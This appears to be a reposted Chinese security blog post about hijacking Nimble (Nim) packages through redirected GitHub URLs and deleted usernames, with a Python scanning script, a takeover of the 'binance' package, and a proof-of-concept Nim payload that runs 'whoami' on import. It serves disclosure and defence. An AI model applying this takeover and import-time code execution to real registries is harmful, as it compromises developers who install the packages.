供应链安全:黑客攻击 Nimble 包

在软件开发领域,包管理器对于管理依赖项和简化开发过程至关重要。但是,这些工具并非对漏洞免疫。今天,我们将深入研究一个有趣的案例研究,了解我如何利用 Nimble 包管理器的漏洞来接管包并可能危害系统。系好安全带;这将是一次技术之旅。

Nimble 是什么?

Nimble 是 Nim 编程语言的包管理器,提供了一种处理库和依赖项的简单方法。它提供了一个名为"nimble.directory"的平台,开发人员可以在该平台上发布他们的包,使其他人更容易使用这些库并将其集成到他们的项目中。

漏洞:URL 重定向和不存在的用户名

我对 Nimble 生态系统的探索发现了两个严重的漏洞:

  1. URL 重定向:当软件包的 GitHub URL 被重定向时,攻击者可以在重定向发生之前接管以前的 URL。如果原始 URL 不再有效,攻击者就可以控制软件包。
  2. 不存在的用户名:如果与 Nimble 包关联的 GitHub 用户名不存在,则可以利用它来声明对该包的所有权。

我如何发现并利用这些漏洞

我首先创建了一个脚本来分析 nimble.directory 上的所有软件包。在2,393 个 软件包中,发现139 个存在漏洞。该脚本扫描了:

  • 带有重定向 GitHub URL 的软件包
  • 与不存在的 GitHub 用户名关联的软件包

剧本亮点

复制代码
import requests

def check_redirected_url(package_url):
    try:
        response = requests.head(package_url, allow_redirects=True)
        if response.history:
            return response.history[-1].url
    except requests.RequestException as e:
        print(f"Error checking URL {package_url}: {e}")
    return None

def check_username_existence(username):
    try:
        response = requests.get(f'https://github.com/{username}')
        return response.status_code != 404
    except requests.RequestException as e:
        print(f"Error checking username {username}: {e}")
    return False

for package in all_packages:
    redirected_url = check_redirected_url(package.github_url)
    if redirected_url:
        print(f"Redirected URL found: {redirected_url}")
    username = package.username
    if not check_username_existence(username):
        print(f"Username {username} does not exist. Possible takeover.")        # Additional logic to exploit the nonexistent username

案例研究:接管"binance"软件包

我接管的软件包之一是"binance",之前托管在https://github.com/Imperator26/binance。通过利用重定向漏洞,我能够控制软件包存储库并将其替换为恶意版本。

恶意负载

新版本的软件包包含一个脚本,该脚本可以在任何导入该脚本的系统上执行whoami命令。

复制代码
import osproc

proc runCommand(cmd: string) =
  let result = execProcess(cmd)
  echo result

runCommand("whoami")

当受害者导入该包时,会发生以下情况:

复制代码
import binance
echo "binance package imported successfully!"

运行时输出:

复制代码
➜ nim ./test
yunus.aydin
binance package imported successfully!

whoami命令显示了当前用户,表明恶意软件包成功在目标机器上执行了代码。

影响

此漏洞凸显了与软件包管理器相关的重大风险,以及如果没有适当的检查,它们很容易被利用。劫持软件包和注入恶意代码的能力对开发人员及其系统构成了严重威胁。

号码

  • 分析的包裹总数2,393
  • 易受攻击的软件包139

结论

此次调查凸显了软件包管理中安全性的重要性。软件包管理员和开发人员必须实施严格的安全措施来防止此类漏洞。定期审核、安全 URL 处理和用户凭据验证是保护软件供应链的重要步骤。

相关推荐
小猪妈咪爱学法4 小时前
欧盟最新发布《AI数字综合法案(Digital Omnibus‑on‑AI,AI综合修订法案)
人工智能·网络安全
luiyarch5 小时前
汽车电子ISO 26262功能安全系列(第17期):系统集成与测试——验证系统级安全机制
嵌入式硬件·安全·车载系统·汽车
安全小王子5 小时前
nssctf_easyapp
网络安全·逆向·ctf·nssctf
观测云6 小时前
Fastjson 高危 RCE(CVE-2026-16723):如何用观测云快速发现并完成修复
网络·安全·可观测性·观测云
山东科恩光电6 小时前
安全触边在提升设备运行安全性中的实践与效果分析
安全
hh9506 小时前
Agent Plan x DeepSeek Harness:Agent 供应链安全与第三方插件审计
java·开发语言·安全·agent plan·adg成都社区·adg社区
菩提小狗7 小时前
每日安全情报报告 · 2026-08-26
网络安全·漏洞·cve·安全情报·每日安全
山东科恩光电7 小时前
如何利用安全地毯提升工作场所的安全防护?
安全
网安蟹佬霸8 小时前
# 网络流量分析实战:从Wireshark到入侵检测系统构建(2026最新版,附完整流量分析链与IDS规则集)
网络·测试工具·安全·开源·wireshark·密码学·哈希算法
Magic-ZYJ8 小时前
HarmonyOS Release 构建安全:ArkGuard 混淆、签名配置与秘密管理
安全·华为·harmonyos·移动应用开发·心晴手记